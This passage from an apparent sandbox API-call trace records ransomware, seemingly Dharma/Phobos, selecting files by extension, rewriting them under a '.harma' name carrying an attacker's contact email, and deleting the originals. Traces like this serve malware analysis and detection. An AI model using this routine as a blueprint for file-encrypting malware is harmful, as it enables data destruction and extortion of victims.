lpString2=".DLL") returned 1 [0149.998] lstrlenW (lpString=".docx") returned 5 [0149.998] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0149.998] lstrlenW (lpString=".pdf") returned 4 [0149.998] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.998] lstrlenW (lpString=".xls") returned 4 [0149.998] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.998] lstrlenW (lpString=".xlsx") returned 5 [0149.998] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0149.998] lstrlenW (lpString=".ppt") returned 4 [0149.998] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.998] lstrlenW (lpString=".zip") returned 4 [0149.998] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.998] lstrlenW (lpString=".rar") returned 4 [0149.998] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.998] lstrlenW (lpString=".bz2") returned 4 [0149.998] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.998] lstrlenW (lpString=".7z") returned 3 [0149.998] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.998] lstrlenW (lpString=".dbf") returned 4 [0149.998] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.998] lstrlenW (lpString=".1cd") returned 4 [0149.998] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.999] lstrlenW (lpString=".jpg") returned 4 [0149.999] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.999] lstrlenW (lpString=".doc") returned 4 [0149.999] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.999] lstrlenW (lpString=".docx") returned 5 [0149.999] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0149.999] lstrlenW (lpString=".pdf") returned 4 [0149.999] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.999] lstrlenW (lpString=".xls") returned 4 [0149.999] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.999] lstrlenW (lpString=".xlsx") returned 5 [0149.999] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0149.999] lstrlenW (lpString=".ppt") returned 4 [0149.999] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.999] lstrlenW (lpString=".zip") returned 4 [0149.999] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.999] lstrlenW (lpString=".rar") returned 4 [0149.999] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.999] lstrlenW (lpString=".bz2") returned 4 [0149.999] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.999] lstrlenW (lpString=".7z") returned 3 [0149.999] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.999] lstrlenW (lpString=".dbf") returned 4 [0149.999] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0149.999] lstrlenW (lpString=".1cd") returned 4 [0149.999] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0150.000] lstrlenW (lpString=".jpg") returned 4 [0150.000] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0150.000] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0150.000] lstrlenW (lpString="AEC.VSL") returned 7 [0150.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0150.007] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=69496) returned 1 [0150.007] CloseHandle (hObject=0x360) returned 1 [0150.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 0x20 [0150.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0150.711] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.711] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.712] GetLastError () returned 0x0 [0150.712] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x10f78, lpOverlapped=0x0) returned 1 [0150.751] WriteFile (in: hFile=0x384, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x10f80, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x10f80, lpOverlapped=0x0) returned 1 [0150.753] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.753] WriteFile (in: hFile=0x384, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0150.754] SetEndOfFile (hFile=0x384) returned 1 [0150.754] CloseHandle (hObject=0x384) returned 1 [0150.754] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.754] SetEndOfFile (hFile=0x34c) returned 1 [0150.758] CloseHandle (hObject=0x34c) returned 1 [0150.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0150.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 1 [0150.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.787] lstrlenW (lpString=".doc") returned 4 [0150.787] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0150.787] lstrlenW (lpString=".docx") returned 5 [0150.787] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0150.787] lstrlenW (lpString=".pdf") returned 4 [0150.787] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0150.787] lstrlenW (lpString=".xls") returned 4 [0150.787] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0150.787] lstrlenW (lpString=".xlsx") returned 5 [0150.787] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0150.787] lstrlenW (lpString=".ppt") returned 4 [0150.787] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0150.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.787] lstrlenW (lpString=".zip") returned 4 [0150.787] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0150.787] lstrlenW (lpString=".rar") returned 4 [0150.787] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0150.788] lstrlenW (lpString=".bz2") returned 4 [0150.788] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0150.788] lstrlenW (lpString=".7z") returned 3 [0150.788] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0150.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.788] lstrlenW (lpString=".dbf") returned 4 [0150.788] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0150.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.788] lstrlenW (lpString=".1cd") returned 4 [0150.788] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0150.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.788] lstrlenW (lpString=".jpg") returned 4 [0150.788] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0150.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.788] lstrlenW (lpString=".doc") returned 4 [0150.788] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0150.788] lstrlenW (lpString=".docx") returned 5 [0150.788] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0150.788] lstrlenW (lpString=".pdf") returned 4 [0150.788] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0150.788] lstrlenW (lpString=".xls") returned 4 [0150.788] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0150.789] lstrlenW (lpString=".xlsx") returned 5 [0150.789] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0150.789] lstrlenW (lpString=".ppt") returned 4 [0150.789] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0150.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.789] lstrlenW (lpString=".zip") returned 4 [0150.789] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0150.789] lstrlenW (lpString=".rar") returned 4 [0150.789] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0150.789] lstrlenW (lpString=".bz2") returned 4 [0150.789] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0150.789] lstrlenW (lpString=".7z") returned 3 [0150.789] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0150.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.789] lstrlenW (lpString=".dbf") returned 4 [0150.789] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0150.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.789] lstrlenW (lpString=".1cd") returned 4 [0150.789] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0150.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0150.789] lstrlenW (lpString=".jpg") returned 4 [0150.789] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0150.790] lstrcmpiW (lpString1=".gta", lpString2=".harma") returned -1 [0150.790] lstrlenW (lpString="Discussion.gta") returned 14 [0150.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0150.794] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=104836) returned 1 [0150.795] CloseHandle (hObject=0x328) returned 1 [0150.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 0x20 [0150.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0150.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0150.795] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.795] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0150.796] GetLastError () returned 0x0 [0150.796] ReadFile (in: hFile=0x328, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x19984, lpOverlapped=0x0) returned 1 [0150.922] WriteFile (in: hFile=0x338, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x19990, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x19990, lpOverlapped=0x0) returned 1 [0150.926] ReadFile (in: hFile=0x328, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.926] WriteFile (in: hFile=0x338, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0150.926] SetEndOfFile (hFile=0x338) returned 1 [0150.926] CloseHandle (hObject=0x338) returned 1 [0150.927] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.927] SetEndOfFile (hFile=0x328) returned 1 [0150.931] CloseHandle (hObject=0x328) returned 1 [0150.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 1 [0151.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.179] lstrlenW (lpString=".doc") returned 4 [0151.179] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0151.179] lstrlenW (lpString=".docx") returned 5 [0151.179] lstrcmpiW (lpString1=".docx", lpString2="n.gta") returned -1 [0151.179] lstrlenW (lpString=".pdf") returned 4 [0151.179] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0151.179] lstrlenW (lpString=".xls") returned 4 [0151.179] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0151.179] lstrlenW (lpString=".xlsx") returned 5 [0151.179] lstrcmpiW (lpString1=".xlsx", lpString2="n.gta") returned -1 [0151.180] lstrlenW (lpString=".ppt") returned 4 [0151.180] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0151.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.180] lstrlenW (lpString=".zip") returned 4 [0151.180] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0151.180] lstrlenW (lpString=".rar") returned 4 [0151.180] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0151.180] lstrlenW (lpString=".bz2") returned 4 [0151.180] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0151.180] lstrlenW (lpString=".7z") returned 3 [0151.180] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0151.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.180] lstrlenW (lpString=".dbf") returned 4 [0151.180] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0151.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.180] lstrlenW (lpString=".1cd") returned 4 [0151.180] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0151.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.180] lstrlenW (lpString=".jpg") returned 4 [0151.180] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0151.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.180] lstrlenW (lpString=".doc") returned 4 [0151.180] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1 [0151.180] lstrlenW (lpString=".docx") returned 5 [0151.180] lstrcmpiW (lpString1=".docx", lpString2="n.gta") returned -1 [0151.180] lstrlenW (lpString=".pdf") returned 4 [0151.180] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1 [0151.180] lstrlenW (lpString=".xls") returned 4 [0151.180] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1 [0151.180] lstrlenW (lpString=".xlsx") returned 5 [0151.181] lstrcmpiW (lpString1=".xlsx", lpString2="n.gta") returned -1 [0151.181] lstrlenW (lpString=".ppt") returned 4 [0151.181] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1 [0151.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.181] lstrlenW (lpString=".zip") returned 4 [0151.181] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1 [0151.181] lstrlenW (lpString=".rar") returned 4 [0151.181] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1 [0151.181] lstrlenW (lpString=".bz2") returned 4 [0151.181] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1 [0151.181] lstrlenW (lpString=".7z") returned 3 [0151.181] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1 [0151.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.181] lstrlenW (lpString=".dbf") returned 4 [0151.181] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1 [0151.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.181] lstrlenW (lpString=".1cd") returned 4 [0151.181] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1 [0151.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta") returned 62 [0151.181] lstrlenW (lpString=".jpg") returned 4 [0151.181] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1 [0151.181] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0151.181] lstrlenW (lpString="DWGCNV.VSL") returned 10 [0151.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.200] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=38752) returned 1 [0151.200] CloseHandle (hObject=0x370) returned 1 [0151.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 0x20 [0151.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.201] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.201] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0151.201] GetLastError () returned 0x0 [0151.201] ReadFile (in: hFile=0x370, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x9760, lpOverlapped=0x0) returned 1 [0151.221] WriteFile (in: hFile=0x34c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x9770, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x9770, lpOverlapped=0x0) returned 1 [0151.222] ReadFile (in: hFile=0x370, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.222] WriteFile (in: hFile=0x34c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0151.222] SetEndOfFile (hFile=0x34c) returned 1 [0151.223] CloseHandle (hObject=0x34c) returned 1 [0151.223] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.223] SetEndOfFile (hFile=0x370) returned 1 [0151.225] CloseHandle (hObject=0x370) returned 1 [0151.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 1 [0151.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.273] lstrlenW (lpString=".doc") returned 4 [0151.273] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0151.273] lstrlenW (lpString=".docx") returned 5 [0151.273] lstrcmpiW (lpString1=".docx", lpString2="V.VSL") returned -1 [0151.273] lstrlenW (lpString=".pdf") returned 4 [0151.273] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0151.273] lstrlenW (lpString=".xls") returned 4 [0151.273] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0151.273] lstrlenW (lpString=".xlsx") returned 5 [0151.273] lstrcmpiW (lpString1=".xlsx", lpString2="V.VSL") returned -1 [0151.273] lstrlenW (lpString=".ppt") returned 4 [0151.273] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0151.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.273] lstrlenW (lpString=".zip") returned 4 [0151.273] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0151.273] lstrlenW (lpString=".rar") returned 4 [0151.273] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0151.273] lstrlenW (lpString=".bz2") returned 4 [0151.273] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0151.273] lstrlenW (lpString=".7z") returned 3 [0151.273] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0151.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.273] lstrlenW (lpString=".dbf") returned 4 [0151.273] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0151.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.273] lstrlenW (lpString=".1cd") returned 4 [0151.273] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0151.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58 [0151.274] lstrlenW (lpString=".jpg") returned 4 [0151.274] lstrcmpiW 